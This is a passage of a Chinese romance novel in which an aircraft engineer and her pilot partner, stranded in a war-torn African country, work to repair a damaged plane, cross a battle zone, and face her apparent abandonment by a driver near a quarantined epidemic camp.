冯世杰霎时涨红了脸，“你什么意思，我当时不也在想办法，你们不都没办法，难道你们当时就没有怀疑过她。”
“当时就你反对人家隋英。”
“我，”冯世杰气结，“我不是反对，我是遵守公司的规章制度，你们说，哪家航空公司允许没有执照，没有时长的工程师临时顶替飞行员的，你们说。”
周平将药放嘴里，闷了一口冷水，“你烦不烦，从飞机上吵到现在，冯代理副驾，你别不服，我们这些人的命
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，包括这架飞机都是隋工救的，事实证明，人家不止是工程师，还是准飞行员，隋英，当飞行员，我挺你。”
隋英笑着摇头，“谢谢你们的认可，但我无法通过考核。”
“但是你的能力大家有目共睹。”
说实在的，隋英竟没有一丝意动，想要再次改弦更张，重新回到年少时的梦想上来。
“可是我工程师干的也挺好呀。”隋英俏皮一笑，众人也跟着笑了。
她自己也说了，受伤导致换专业，那必然不是一般的伤，对于飞行员来说，身体是本钱，尤其是在出了孙硕之事后。
钱穗岁急急说道：“我们头儿可是最有实力的工程师，就连高总工都亲口认证过，这一点总没人质疑吧。”
说着，乜了眼冯世杰。
“你就别再说了，毕竟冯总也没想到飞机会出事。”
如果说冯世杰在飞机上反对隋英，那也只是职责所在，毕竟当时隋英也没表明自己一开始是飞行学员。
但经历了被吉尔斯南部义军恐吓驱赶，冯世杰先出卖医生，再出卖隋英，这下他算是犯了众怒。
基本这一整天休整，每个人对冯世杰说话都夹枪带棒。
“我伯父没有叫我来，”冯世杰委屈巴巴嘟哝了一句，忽然大声辩解，“你们被恐怖|组织拿枪指着脑袋，也会和我一样。”
这时赵院长过来告别，其他人起身。
赵院长等人有维和部队护送，走时带走了孙硕，大家放心不少，只是隋英他们还不能离开。
他们这次飞班吉的主要任务就是运送维修设备，解决班吉分公司飞机问题，现在设备都在这，他们自然走不了。
“直升机呢？”吴晓烁提议。
魏子默摇头，“目标太明确，你们听，万一有谁看我们不顺眼，一炮给我们轰下来，GAMEOVER！”
“那怎么过来的？”
众人齐齐看向蒋弋。
“绕路，他们几方互相钳制，我们有维和部队护送。”还有上面压着，以及切实的好处。
但不知道这个方法反复用好不好使。
“先修飞机，”隋英说道，“我们带了设备和飞机零件，组装一架飞机都不成问题，更何况它。”
此言一出，众人骇然，一个个惊恐地看着她。
有人忍不住上下打量隋英，细胳膊细腿，小脸瓷白，犹如雪山脚下飘零的冰凌花，看似在眼前，却又触不可及。
有一部分班吉分公司的同事，他们得知带队工程师是隋英时，其实是有意见的。
他们没见过隋英，但隋英的八卦却是听了两耳朵，听说她游走在蒋弋和贺兰琛这两大男神之间，一会和蒋弋分手，一会和贺兰琛旅行结婚，一会又和蒋弋领证。
听说她和蒋弋是同学，还听说她和顾柔嘉也是同学，还听说她和顾柔嘉从上学时就不和。
总之全是八卦、问题、花边新闻，总之手段很不光彩。
谁也没想到，就是这样一个人，将一架失控的飞机开回来，现在更提出在这座废弃的飞机场修飞机。
这个工程师外表柔弱，内里绝对彪！
85. Chap.85
隋英是行动派。
当夜她就列出维修草图，本来想连夜奋战，可发现莉萨拉废弃机场竟没有电。
这几乎是所有人都始料未及的事情。
本来是要大显身手造飞机的架势，结果发现这里是原始社会。
好在废弃飞机场有电线以及电力设备，估计也是当年遗留，现在只需连接百十公里外的发电厂。
但，谁去沟通。
这个问题暂且放下。
莉萨拉废弃机场周围没有高大建筑物，视野开阔，藏蓝的幕布坠满了繁星，搭在四周沙丘上，形成天然帐篷。
他们这些人一来就是送维修设备，班吉机场的飞机基本瘫痪，情况紧急；二来，谁也不想在这里多待。
大使馆要求他们立即跟随军队撤离到班吉，可他们去了班吉也没有东西维修。
是以，藉着繁星，众人有条不紊地将飞机上的设备搬下来，夜空中偶尔升起的红色烟火很像烟花，可他们都知道，这种烟花正在摧毁人命。
魏子默中途头疼，吃了药，继续忙碌。
他这种情况，要是在国内，早报工伤住院治疗，然后他们这些同事排着队去探望。
恍如隔世。
“我们带了小型发电机。”
隋英点头，发电机是她要求加上的，“很晚了，先休息吧，明天再干活。”
她则是挑灯整理维修方案，左翼彻底报废，飞机上各项指标预警失灵，他们虽然满载设备，可她心里依旧没底。
折叠床晃了晃，一声幽怨的叹息。
隋英没听见，脑海里全是维修结构图，眼前皆是精密仪器零部件线路，“不对，还缺一样大型设备。”
“FRC。”蒋弋幽幽说道。
“你怎么知道？”隋英惊喜回头，却见蒋弋坐在折叠床上，眼含哀怨，她觉得是电灯折射角度问题。
蒋弋冷哼道：“你检查飞机的时候就说出了问题。”
“我说出问题，你就知道用什么设备，怎么维修？”隋英双眼冒光，干脆坐到他身边，满含期待地看着他。
蒋弋双手向后撑着折叠床，“咯吱咯吱”响动，“我可不会维修。”
“那也很厉害。”隋英笑嘻嘻凑近。
“你是不是还欠我一个解释。”
隋英眨眨眼，蒋弋有时的思维挺莫名其妙的，她仔细回忆，一时吃不准，只好谄媚地黏上去，“你批评我吧。”
看着凑到跟前根本不知道错，只想糊弄的小人儿，蒋弋脸上还硬着脾气，手离家出走，搂着隋英的腰。
关键手有自己的想法，搂就搂吧，还喜欢捏捏掐掐。
隋英躲了下，“你别老掐我。”
“我走之前怎么说的。”
隋英心道：来了来了，果然是要算账。
“东西都搬回去了。”
“哪个卧室？”
隋英眨眨眼，“我的那间。”先把眼前糊弄过去，等回去再说。
“撒谎。”蒋弋脸色一变，忽然坐直，隋英下意识直起身，却被他按着后腰，整个人贴在他身上，双手还紧紧抓着他衣领。
这个动作太暧昧。
熟悉又凌冽的气息扑面而来，隋英脸发烫，脑袋已经开始发晕，“呃…我回了一趟冀北。”
抬头窥着他神色，“丁总跟你说了吧，你帮我谢谢他。”
“看来你还是不知道自己错哪了。”蒋弋说着，手上用劲，隋英吃痛不住，“哼哼唧唧”几声，又忙捂着嘴，大家都住帐篷，又挨着，万一被听到。
她捂着嘴，蒋弋却十分恶劣地握着她的腰肢，将她横抱过来，折叠床明显不堪重负，“吱哇”乱叫。
“谁让你来的？”
隋英捂着脸，管他说什么，只一个劲往他怀里拱啊拱，反正只要闭上眼睛，捂着嘴，她就看不见，也发不出声音。
“不知道拒绝吗？”
蒋弋冷冷质问，一只手却探进她衣服，陌生的触犯瞬间被放大，隋英浑身颤栗，捂着脸在他怀里硬生生趴了过去。
“蒋，弋……”
他倒好，撩起衣服，单手握着腰肢，再往上，似乎在量她腰背的宽度，“太瘦了，全是骨头。啊！”
蒋弋叫了半截，生生吞下去。
隋英忍无可忍，抓着他手腕狠狠咬了一口，这才趁机逃脱，却因沙土地松软，跌倒在地。
“你，你，你，”隋英坐地上，红着脸瞪他，蒋弋勉强稳住折叠床，“忒！当是郊游，真是应付，下回换个结实的行军床。”
“应急用的，就不该带，应该全部打地铺。”
隋英拍拍手，席地而坐，蓦然听到帐篷外有动静，屏住呼吸细听，却是朦朦胧胧的枪声。
蒋弋在折叠床一条腿下垫了块碎瓦砾，用手试了试，稳当了许多，他将隋英横抱起来，小心放在床上。
“这里早晚温差大，”从箱子里拿出恒温被，盖在隋英身上，“早点睡。”
他则是在旁边铺了条气垫床，盖着衣服躺下。
“我白天睡饱了，现在睡不着，”隋英睡在床边看他，伸手就能摸到他的脸，“你都有黑眼圈了。”
蒋弋略微粗粝的指腹摩挲着她的脸颊，到耳廓，耳垂，再到后颈，“这几天昼夜颠倒到处飞，中途只一两小时空隙就抓紧睡觉。”
南航公司一直有支援传统，基本是飞行员轮流执行，但也有特殊情况。
就像此次，原本蒋弋任务已经完成，可疫情、战乱导致灾情不断，是以他这个王牌飞行员就只能连轴转。
“这个国家彻底乱了吗？政府不管吗？”
指尖轻轻抚过她的伤处，蒋弋微不可查地摇头，“还没有，只是谁也管不了。”
隋英了然，这个国家目前类似于军阀混战，农民起义，土匪横行，地痞流氓丛生，谁也不知道历史的洪流最终走向何方。
能救他们的只有他们自己，靠援助也只是暂时的而已。
隋英甩开这些，回到他们根本问题，“没有电，没有FRC，飞机修不好。”这是她连夜检查飞机得出的结论。
“我回去，分公司有FRC。”
但这个办法一经提出，就遭到众人反对。
反对理由有二：
明摆着的难处，来回跑，道路不安全；
另一个理由是FRC属于精密仪器，价值就不说了，关键分公司没人能拆装，当时是高总工带领一群高级工程师组装的。
平时有一点问题，他
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们维修调试都小心翼翼，至于拆装，那根本不可能。
分公司负责人之一向恒尤其反对，他直接提出折中办法，“我们想办法将能运走的物资先送回班吉，飞机和剩余物资只能再想办法。”
魏子默快人快语，“这种情况，”指了指远处依稀可见的炮火，“一架飞机，五台设备，合起来的价值超过六亿，丢在这里？不要了？谁承担？”
所谓再想办法，不过一种说辞，说白了就是丢了。
但万一公司要他们承担责任呢？
向恒站起来，“人比设备更重要，继续留在这，万一出事，不是万一，昨天差点就出事，孰轻孰重？。”
王勋示意，两边都不要着急，“班吉的飞机也需要这些设备维修，要不然我们去了也没用。”
向恒默了许久，放缓了语气，“在班吉，至少安全能得到保证，这里太危险。”
“关键我们去了班吉，也回不来国。”这才是让人绝望的。
目前班吉还没有撤侨，但估计也不远了，结果他们的飞机是瘫痪的，到时候怎么交代？
让大使馆再想办法从国内派飞机？
他们来就是解决这些问题的，现在又要将难题又抛回去？
当然不行。
“这样，我再和公司沟通，看能不能从国内再调配飞机物资，”向恒沉声说道：“只要你们人回班吉，物资设备一到，立刻维修。”
魏子默指了指飞机，“我还是那句话，六个亿，丢了，谁承担？”
又一阵沉默。
冯世杰收到公司回复，“让我们保证人员和设备安全，完成班吉机场维修任务。”
大家一阵牢骚，吴晓烁问他，“那重新派飞机和设备的事呢？怎么说的？”
“没回。”
“怎么这样啊……”又一阵牢骚。
周平开口，“肯定是有难处，飞机就那么多，公司首先要保证的是民航班次，其次才是支援。”
“就多派一架而已。”
“支援的飞机不止CA-8一架，要不然冯代理副驾还没机会上呢。”
冯世杰火冒三丈，“周平你什么意思。”
“字面意思。”
眼见又要吵起来，向恒再次主持大局，“大家别争了，还是先说眼下，电力不通，FRC无法拆卸组装，维修飞机根本就是空谈；设备运不回去，班吉的飞机也无法维修；所以我提议，先保证人员安全。”
这个折中的办法在众人心头转了一圈，大家都觉得只能如此。
隋英看了眼不远处一会拿卫星电话沟通，一会那手机打电话的蒋弋，不知道该不该开口。
“隋工，你的意见呢？”向恒问她。
“我觉得人员安全最重要，”她看向蒋弋，“大家先回班吉，我再，”
这时一位身穿迷彩的军官快步走来，“接到上级撤侨人物，你们商量的如何？”
大家你看我，我看你，向恒将难处说了一遍，军官请示后表示，同意先护送他们回班吉的方案，但是要借用班吉机场的FRC，他们想办法请专业人士拆装。
蒋弋大步流星走来，“不用再另外请人。”说着看向隋英。
“FRC我来拆装。”
86. Chap.86
“FRC我来拆装。”
一句话吸引了所有人目光，也没人质疑，就这么看着。
隋英在《我的机长》里有对FRC技术的详细分析，只是国内才开始销售，他们不知道而已。
撤侨就必须维修飞机，此事已经板上钉钉。
接下来就是谁回去，谁留下的问题。
隋英自然是要回去，但是其他人就很微妙。
——回到班吉，有很大一部分是不愿意再来的。
冯世杰最先表示，“我回去，我不是工程师，我留下也没什么用。”
这算是直接表示自己不会再来。
“你确实没用。”魏子默讥讽。
“对，你有用，你留下。”冯世杰反唇相讥。
维和部队的人员已经去安排回班吉的事项，还有车辆，直升机目标太明显，很难再次穿过火线，只能走公路。
隋英回帐篷收拾东西，她一个人自然无法完成维修，但是谁留下，她也不知道。
“你刚刚在和谁打电话？”见蒋弋进来，她问道，刚才那么激烈的讨论，他也不参与，没人镇得住场子。
蒋弋从背包里拿出两份文件，“和电力公司沟通给这里供电问题。”
“你怎么知道我们商量的结果？”
讨论半天，几乎所有人都主张撤离，放弃CA-8维修，他也没参与，也不讨论，而是提前沟通供电问题。
仿佛早就知道结果一般。
“我不知道，但我了解你。”
隋英眼睫轻颤，她的确是想过自己维修，“那供电问题能解决吗？”
蒋弋晃着手里的文件，“有这个就能。”
“这是什么？”隋英凑上去，瞄了一眼，依稀看到“股权”几个字，想了下，说道：“不能让他们的政府，呃…上级去沟通吗。”
“这种时候，只有绝对的实力和实实在在的好处才有用，”蒋弋在文件上签字，见隋英在愣神，“答应我一件事。”
隋英抬眸。
“就这一次。”
就冒险这一次。
-
交战区不知道怎么就停火了，也可能是伤亡惨重，各自撤离，也可能这里没什么好处，换地方去较量了。
总之就是没人在他们的必经之路上交火。
公路遭到一定破坏，好在勉强能通行，但具体什么样，隋英不知道，因为蒋弋的手覆在她双眼上。
隋英靠在蒋弋怀里，蒋弋大手捂着她双眼，拇指摩挲鬓角，整个人被颠的飞起。
这辆吉普车除了他俩，其他都是士兵，一路很安静，即使颠簸飞起，也没有吵闹叫唤。
隋英却是越来越难受，她受过训练，对这种程度的颠簸也能承受，可这一路上的味道，即使窗户紧闭，她依旧清晰地闻到火硝味，焦腥臭味，而且是越来越浓，几乎揶取大部分氧气。
“呕！”隋英自己捂嘴，将头垂的更低，从他的肩上滑到胸口，完全置身黑暗。
她想象中这一路上可能要经历枪林弹雨、威胁恐吓、搜身为难……都没有，光是战后的味道就足以令人窒息。
蒋弋紧紧抱着她，控制平衡，防止撞击。
黑暗中，她只感觉到车子盘旋倾斜，左挪右冲，颠的她一下一下起伏，以及清晰的撞击声。
“蒋弋？”
“没事。”他在她耳边轻声安抚。
隋英没有抬头，她也无法抬头，只紧紧搂着他的腰，两人如同一体般，几次都漂浮在空中。
忽然，有只手大力按着她后背。
不是蒋弋，她清楚地知道他两只手臂紧紧抱着她，那就是身边的士兵。
隋英立刻做好撞击准备，却感觉天旋地转，“砰”一声，吉普车翻转倒地。
军官冷静指挥，打开头顶车门，先爬出去，然后拉着隋英，蒋弋托举着她爬出，最后他们几个顺利爬出去。
隋英摇晃了几下才堪堪站稳，脚下是尖锐翘起的水泥，她摸着耳朵，刚抬头，视线就被挡住。
“别看，后退。”
蒋弋将隋英推远几步，她也老实低头，知道有些场景最好永远都别看，在电视上看过与亲眼所见完全不同。
这些，都是她无法想象的。
只盯着脚下面无全非的公路。
依稀可辨是水泥混沙公路。
然后听到几人呼呵，她下意识抬头，却见他们合力将吉普翻过来，有人往远处去捡石头。
隋英看过去，公路段成两节，其中一处高过另一处一米左右，修是没法修，只能在中间垫一下，将车开上去。
再往两边延伸，大石瓦砾，仿佛经历过地震，还有枪炮打的黑眼。
蓦然，她看到一节焦黑的东西，定睛一看，竟是一截人腿，而旁边像是一堆动物内脏，其实不是动物……。
胃里翻江倒海，再也忍不住地干呕起来，她控制不住眼睛，又看了一眼。
身后几辆车也都停下，干呕声此起彼伏。
他们这些人，平时大概就见过鸡鸭鱼肉，可能宰牛宰猪的场景都难见，更别说尸体，还有人在哭。
隋英站着没动，也没回头，只是摸着耳朵。
蒋弋的鞋出现在视线里，隋英抬头，顿时蹙眉，“你受伤了？”
他额角擦了一块，他却检查隋英，“有没有受伤？耳朵怎么了？”
“没有。”隋英摇头，刚刚即使感觉有块硬物蹭了下，好像是蒋弋上衣口袋里的什么东西。
她摸了下，果然有东西，“这里是什么？”
蒋弋握着她的手，刚好覆在胸口那块硬物上，比手掌还要小，隋英挤出一丝笑，“是压缩饼干吗？”
她盯着他眼睛，干脆伸手去摸，却是从里面口里掏出一个耳机盒。
“这是……”
隋英双眼瞬间模糊，两滴泪水掉在地上，她眨眨眼，摩挲着耳机盒，轻轻打开，一眼认出这是独属于他们两个的秘密。
“你？”怔然望着他，两只陈旧、磨损的耳机都在。
发现自己那只不见的时候，就怀疑是蒋弋拿了，跑去质问的时候，连人都被扣押，自己还忘了质问。
她以为就她自己留着。
而蒋弋的那只她亲眼看到他丢了。
当着她的面扔出去，然后头也不回地走了，她也没去捡，想着丢了，她便能死心。
蓦然，她想到那天晚上，她心绪难平，熬夜工作，天蒙蒙亮时，从窗户上看到小区里停着一辆黑色越野，很像蒋弋的那辆。
她当时没戴眼镜，等她回卧室戴好眼镜，再去看时，并没有越野车的影子。
那时还以为看错了。
隋英翕唇，声音略微哽咽，“那天晚上……”你守了一夜，我没看错。
蒋弋笑着拿出耳机，将右耳给她戴上，自己戴上她那只，然后连接手机——
“Pastlivescouldn’teverholdmedownlostloveissweeterwhenit’sfinallyfound……”
悠扬空灵的旋律仿佛划破时间隔阂的触手
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，将他们与七年前相连，经常用一副耳机，听一首歌。
隋英揉揉鼻子，“我还以为你扔了。”
蒋弋牵起嘴角，将她轻轻揽入怀中，那天他确实负气当着她的面扔了。
可他又回去，把那一片草丛翻了个遍，才找到，之后在车上坐了一夜，看着她房间的灯亮了一夜。
直到天蒙蒙亮时，她忽然探头，他很清楚，隋英看到自己了，于是他开车离开。
谁知后面她竟一句也提，当无事发生，把他气了个半死。
然后就在她隔壁买房。
士兵几下铺好大石头，将车开上去，他们这才重新坐上车。
一百多公路车程，没有交战，他们还是走了五个小时，进了班吉，众人神经才勉强放松，车子缓缓驶过街道。
隋英摘掉耳机，蒋弋也摘掉，两人各自默契地收好。
街道除了异域风情外，只能用萧瑟和混乱来形容，对于见惯了冀北、南渝这样的一线大城市的众人来说，这样的场景也只在电影里看到过。
乱跑的小孩，躺在路边衣衫褴褛的人，摆摊的小贩，随意在墙根大小便的人……
到班吉分公司，大家终于松了口气，休整一番。
隋英洗漱完，换了工服，第一时间到机场维修间，向恒已经组织分公司的维修员在做准备工作。
维和部队和大使馆的工作人员也在加紧安排在此护送设备回去的工作。
时间一分都不能浪费。
“我去解决供电问题，”蒋弋在她额头上亲吻了下，摸摸她的后脑，“放心，我是给他们送钱，不会有危险。”
隋英心惊胆战，可她没有时间磨蹭，立刻去了维修间。
她到时，众人齐刷刷看向她，隋英只是略略颔首，然后直接布置工作，列举一二三，分工明细，自己则一马当先。
其他人刚开始还持怀疑态度，可隋英简单明了给每个人布置负责部分，略微滞涩不解的提问她能瞬间给出肯定答案，大家再不怀疑她的专业能力。
这些维修员也都曾随着高总工组装学习过，日常也由他们维护，所以基本流程知道，只是对于几项精密的步骤和参数的调整心里没底。
现在有了主心骨，他们瞬间干劲十足。
上次他们还只是观摩学习的维修员，这次直接上手，还真有些兴奋。
拆下来的部分每样按顺序打包，即刻装车。
最后也只剩一个大件底座，就是实习生也能完成，隋英松了口气，交代了两句，自己则出维修间透口气。
蓦然，她看到一抹熟悉的影子，“韫韫？”
苏韫一个急刹车，掉头跑过来，“英子，我给你打电话你怎么不接？我听说你们飞机坠毁了，都特么瞎说，你吓死我了。”
隋英摸着口袋，“手机在充电，我拆维修机器呢。你怎么在这？你是……”看着她背着医用背包，“你该不会是来救我的吧。”
苏韫白了她一眼，“我援非，本来是去另一个战乱国家，收到你的消息，我就跟同事换了。”
身后传来同事召唤，隋英回头说了声，然后拉着苏韫，“你带耳机了没有，给我。”
苏韫从背包拿出几个耳机，隋英拿了蓝牙耳机，“电是满的吧。”她打开，将右耳机拿出，丢进她背包，将自己的耳机放进去，一个白的发光，一个磨损严重，“我走了，你别去危险的地方。”
苏韫盯着耳机，心里了然，却还是忍不住翻了个白眼，“切！你注意安全！我等你回去喝酒，对了，我博士上岸了……”
87. Chap.87
“我跟你说过多少次，做人做事不要张扬，你这么年轻，就这么如此急功近利，能成什么大事。”
“…叔叔，我错了。”冯世杰对着手机，这次是真心实意道歉。
冯总得知冯世杰上飞机后，又急又气，想着等飞机一落地，立刻勒令他待在班吉不要出门，谁知中途CA-8失联，惊的他高血压都犯了。
好在冯世杰安全回到班吉。
CA-8失火是意外，孙硕突发心脏病更是意外，但最令人意想不到的是隋英会开飞机，在失去导航的情况下竟能准确落在废弃机场。
冯总看过传回来的飞行记录，作为几十年的老飞行员，他自认为不会做的比隋英更好。
“世杰，你说你们都已经回到班吉了？”冯总咬咬牙，捂着手机四下看了看，“这样，你让隋英，……”
冯世杰等了半天也没下文，“叔？”
“没事。”冯总轻咳了下。
冯世杰到此刻还双腿发软，而且是越想越怕，干脆躺在临时安排的宿舍里，“叔，你什么时候来接我？”
冯总闭了闭眼睛，“你说隋英领人拆了FRC，要回莉萨拉机场维修CA-8？”
“叔，不都说了好几遍了嘛，她倒是大出风头，又是开飞机，又是拆机器，真当自己是救世主，还不是靠，”
“闭嘴！”冯总狠狠呵斥，“你现在出去，让隋英不要再离开班吉，我会再向公司申请派救援机运送设备，顺便把你们都接回来。”
冯世杰噌的一下坐起来，“叔那你快点。不是说国内到班吉的空运都停了嘛。”
“申请转机，目前还有两个地区的航空公司通往班吉，我已经在想办法了。”
“太好了，”冯世杰一愣，“叔叔，你刚说什么，让隋英留在班吉，切！我哪里敢命令她呀，现在所有人都跟我对着干。”
“不是命令，你是没资格命令隋英的，不是我说你，世杰，你也毕业了，别被人捧了几天就不知道自己几斤几两，我告诉你，你还差得远。”
这话冯世杰最不爱听，胡乱应付着，最后不情不愿地去找隋英，结果被告知已经走了。
“走了？你不是说明天一早吗，你到底还有没有一句准话。”
冯世杰也烦，“叔，我们到班吉已经是下午了，拆完机器天都黑了，我怎么知道他们会连夜走。”
冯总感觉自己血压飙升，心道：难道是天意。
彼时，隋英已经在去往莉萨拉的路上。
原计划是明天一早，但是收到消息，明天白天经过的地方可能会有交火，所以干脆连夜出发，天亮估计能到。
前后总共六辆车，前四辆改装皮卡运送FRC，第五辆运送航空煤油，隋英坐最后一辆。
她蜷缩在后座上，疲惫与黑暗战胜了颠簸，双眼皮像是粘在一起，偶尔整个人被颠的飞起，再落在座椅上，她也只是略略掀下眼皮。
不知过了多久，车辆逐渐平稳，隋英彻底睡死过去。
“砰砰砰！”
头顶传来敲击声，隋英猛地惊醒坐起，全身僵硬，蓦得被车窗上几张放大的脸吓得惊叫出声。
几张深肤色的面孔贴在玻璃上，面容扭曲，眼珠子呈黄褐色，死死盯着她。
阴森恐怖，宛如地狱恶鬼。
“吧嗒”！
车门竟被打开，隋英几乎是听到动静的瞬间关闭，并上锁，惊恐地张望。
胸腔的跳动在车内形成回声。
从车玻璃向外去看，薄薄的木板或铁皮横七竖八地围起来，上面搭一片破布，摇摇晃晃，仿佛一吹就倒，却有人坐在里面，比电影里看到过的非洲贫民窟更混乱破败。
这里是哪里？
隋英来不及思索，车上就她一个人，司机不见了，外面的天已大亮，她慌忙拿手机，却发现随身带的包不见了。
被人拿走了？
看着围着周围的这群人，不太像，他们应该还没进来过。
没有手机。
隋英直接爬到驾驶座，启动车子，才发现油耗只剩一格，前后左右打量了下，这里应该是某个难民窟。
四野瞭望，大差不差的沙土山丘，分不出东南西北。
无暇思考，她将车向后倒了几米，那些人一直围着车，既没有离开，也没有攻击她的意思，就这么跟着，围着，盯着。
为什么会在这里？
他们不是跟着车队到莉萨拉机场吗，大概是后半夜，她实在困的不行，就睡着了，然后就到这了？
走错路了吗？
关键是司机人呢？
车队呢？
在莉萨拉机场，冯世杰明确表示要回班吉，并且不再回莉萨拉，魏子默就跟他吵起来，后来话赶话，魏子默当即表示他要留在莉萨拉，即使其他人劝他有伤也没用。
然后剩余的人全部跟着回了班吉。
钱穗岁是女生，隋英将她留在班吉，周平有伤，到班吉后直接住院，领航回来后很沉默，吴晓烁跟着蒋弋去解决供电问题。
就剩下王硕，本来他要再回莉萨拉，可临出发时突然肚子疼。
班吉副总向恒当即调了分公司帮着拆卸FRC的维修跟车押送设备，每辆车一个人，总共四人，和士兵一起保护机器，他则独子开着航空煤油车。
而给隋英开车，原本就是向恒的司机。
就算是走错路，人也不至于不见了啊，隋英有些焦躁，又在后座上仔细翻找了一遍，就那么大点地方，包要是在肯定一眼就看到。
她在车上坐了会，重新启动车子，再往后退了点。
几米远的距离，花了十来分钟，这些人始终围着车，隋英不敢踩油门，只能熄火。
僵持了一会，隋英见他们似乎没有恶意，而且多妇孺儿童，便壮着胆子下车，那些人就这么盯着她看。
偶尔交头接耳，窃窃私语，说着当地语言。
隋英注意到这些人虽然肤色幽深，瞳孔发黄，但面皮泛着青绿，脖颈脚踝露在外面的皮肤似乎生疮。
这是传染病。
她惊恐地看着四周，这些人基本都是如此。
这个国家好多种传染病，其中一种就是脸色发青发绿，浑身溃烂，名字
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她没记住，但确定是传染病。
蓦然，她看到这片挂着白布单，这是疫区的标志。
隋英浑身颤栗，下意识屏住呼吸，身体贴着车门，怔怔盯着他们，生怕他们扑过来。
但这些人没有，只是围着她。
又僵持了几分钟，隋英见他们没有恶意，她踮起脚尖瞭望，这里似乎没有医护人员，可惜她不是医生。
忽然像是想到什么，绕到车后，打开后车厢，将里面的零食饼干和清水拿出来，将将放在地上，那些人一哄而上，将东西抢了个精光。
原来是要吃的。
隋英心里很不是滋味，她很想联系赵院长，可惜她手机在包里，背包也不见了。
有个小孩指了指她的车，隋英看了一眼，不明所以，小孩怯生生走近，又指了指，她顺着手指看去。
“我靠！”
隋英真的几乎不爆粗口，可当看到油箱竟破了一个洞，滴滴答答漏油，真的没忍住。
一个箭步冲过去，随便捡起一块破布，卷吧卷吧塞住洞口。
这些人拿了食物，有些已经离开，还有一部分拆开饼干，边吃边盯着她看，时不时说两句，点点头，指一下。
隋英看着不远处石头瓦砾上一滩黑色的汽油，眯着眼睛思索。
油箱是60升，平路大约跑500公里，班吉到莉萨拉机场大约120公里，但是路况复杂，基本所剩无几。
而且他们的车上都有备用油。
但刚刚拿食物的时候没看到。
游目四周，她看到不远处有一滩黑乎乎的东西，看了眼这些人，壮着胆子走过去，有几个小孩跟着她。
隋英看到是倒地的油箱，连忙拿起，已经所剩无几。
她提着油箱回到车上，认真思索当下局面。
半夜司机跟丢，那必然会叫醒她。所以极有可能是故意走错路，兼之油箱被凿，备用油箱很明显就是从车上提着走了几步，然后就地倒掉。
能做这些事情只有司机。
隋英几乎可以说是与司机没有说过话，结仇就更不可能，她要的事也只是维修飞机，对当地任何政权没有威胁，肯定也不是某个组织要对她下手。
再说，收拾她这么个无名小卒，一枪打死就是了，不需要费这么多劲。
那就是司机自己，他要做什么？
绑架她向蒋弋提条件。
姑且就这么认为吧，那她应该怎么应对。
脑海里浮现出班吉到莉萨拉机场大致路线图，再看漏油情况，昨夜他们离开班吉，直到她睡着，至少应该走了五十公里，然后司机再趁机脱离车队。
班吉到莉萨拉的方向是自北向南，想要脱离大家不被发现，便只能向西或向东。
而且不会走太远。
看着地上那一滩油，隋英推测，这两次离开彻底，最多不会超过五十公里。
可是这样的荒野四通八达，路上都是石头瓦砾，也没有车辙印，她也不知具体是从哪个方向来的，这点油估计也就能走十公里吧。
隋英不想坐以待毙，决定自救。
88. Chap.88
莉萨拉废弃机场乱成一团。
向恒疯狂拨打司机电话，始终不在服务区，隋英一样。
向班吉公司求证，隋英和司机没有回去。
车上配备了卫星对讲机，也是一样联络不上，向恒命令他们将装备卸下，维修人员留在机场，其余人开车，分几路去除寻找隋英。
“1号车报告，东南方向不具备车辆通行条件。”
“2号车快没油了，准备返程，目前没有发现车辆。”
“向西40公里是疫区，那边有封锁线，进去就出不来了，不可能有人去，3号车准备返程。”
向恒拿着望远镜，“我这边是交战区，从今天凌晨就开始了。”
几辆车返回莉萨拉机场，然而没有隋英，他们连FRC都无法组装，更别说维修飞机了。
国内另派飞机几乎不可能，听说冯总的申请被股东会驳回，又有传闻说蒋君沅、贺明霁等元老突然支持冯工提议，只是民航局暂时没有答复，公司正在想办法调集设备，从东南亚某国飞班吉。
却是远水就不了近火。
“这事我们都有责任。”
向恒与护送他们的维护部队中队长商量了许久，最后无奈叹气。
这里，几乎每天都有人无缘无故失踪，监控、通信设备都不完善，找人无异于大海捞针。
魏子默想了下，“向总，要不要通知蒋机？”
“……我来吧。”向恒重重叹了口气，走到一边去联系蒋弋。
-
隋英将自己包裹严实，尽量避开人群，绕着搭建的破布木板房外走了一圈，惊喜的是这里居然通电。
她试图与人沟通，但他们说的应该是当地方言，无奈，她只能连比带划，有人向里面指了指。
之前那个小女孩一直跟着她，隋英问她，小女孩也说话，但她们彼此听不懂对方的语言。
隋英又向小女孩比划，做出打电话手势，也不知道这个国家的习惯是什么。
谁知小女孩兴奋地往里指，叽哩哇啦说了一大堆，隋英双眼发亮，连连指着，让小女孩带她去。
小女孩连蹦带跳，隋英跟着，左拐右拐，几乎穿过整个低矮木板房，到另一侧边缘，她看到一间铁皮搭建的房子，像个办事处。
隋英一眼就看到座机，她立刻上前表示要用电话，里面坐着的男子摇头摆手，隋英拿出兑换好的钱，男子摊手耸肩，也没有收。
她只好硬着头皮拿起电话，拨通电话，听筒里一点动静都没有，她又试了试，这才发现座机根本就是个摆设。
这时外面传来汽笛声，男子立刻跑出去，隋英也跟着出去招手。
是一辆送补给的汽车，车上人穿着防护服，扔下几包东西后直接驱车离开，只留一尾烟尘。
这时，四面八方的人都往这跑，跑的慢的直接被挤到一边，有些倒地也没人管，瞬间淹没在人群中。
隋英连连后退，避免接触。
怔怔望着他们抢夺食物，直接塞进嘴里，然后一哄而散，个别还在原地捡吃的，有些趴着呻|吟……
隋英也不算没有收获，她看清楚了送补给的车离去的方向，说明那里有路。
看了小女孩一眼，在车上搜刮了一番，将一块毯子，两件衣服，清水自己留了两瓶，零食就留了一包，剩下的都给了她。
小女孩高兴地收下，见她开车要走，突然跑到前面，挡住去路。
隋英探头，招手让她让开，小女孩站着没动，不说话，眼神很固执。
木板帐篷出口处站着几个妇孺，叽哩哇啦叫了几声，小女孩细声细语地回了一句，那些人没上前，小女孩也没动。
隋英下车，拉着小女孩的手，“你放心，我会联系医生，只要我出去，我会想办法来接你，我现在不能带你，我也不知道我能走多远，你等我好吗？”
她说的是中文，小女孩盯着她看了看，忽然抱起东西跑向女人。
就在隋英以为她明白她的意思后，小女孩将东西给她们，自己又跑回来，踮起脚尖够到车把手，使劲掰。
隋英看着那几个女人，再看小女孩，她们没有阻止小女孩，反而是用祈求的目光盯着隋英。
她再次重重叹气，心里完全明白。
这里是疫区，没有医生，几乎等于是在这里等死，那几个女人应该是小女孩的亲人，她们希望她能带小女孩离开。
再看方才送补给的车，几乎离此地几十米远，人没下车，都穿着防护服，扔下东西就跑。
哎！
隋英打开车门，让小女孩坐后面，她朝着送补给的车的方向驱车，一会就看不见疫区帐篷。
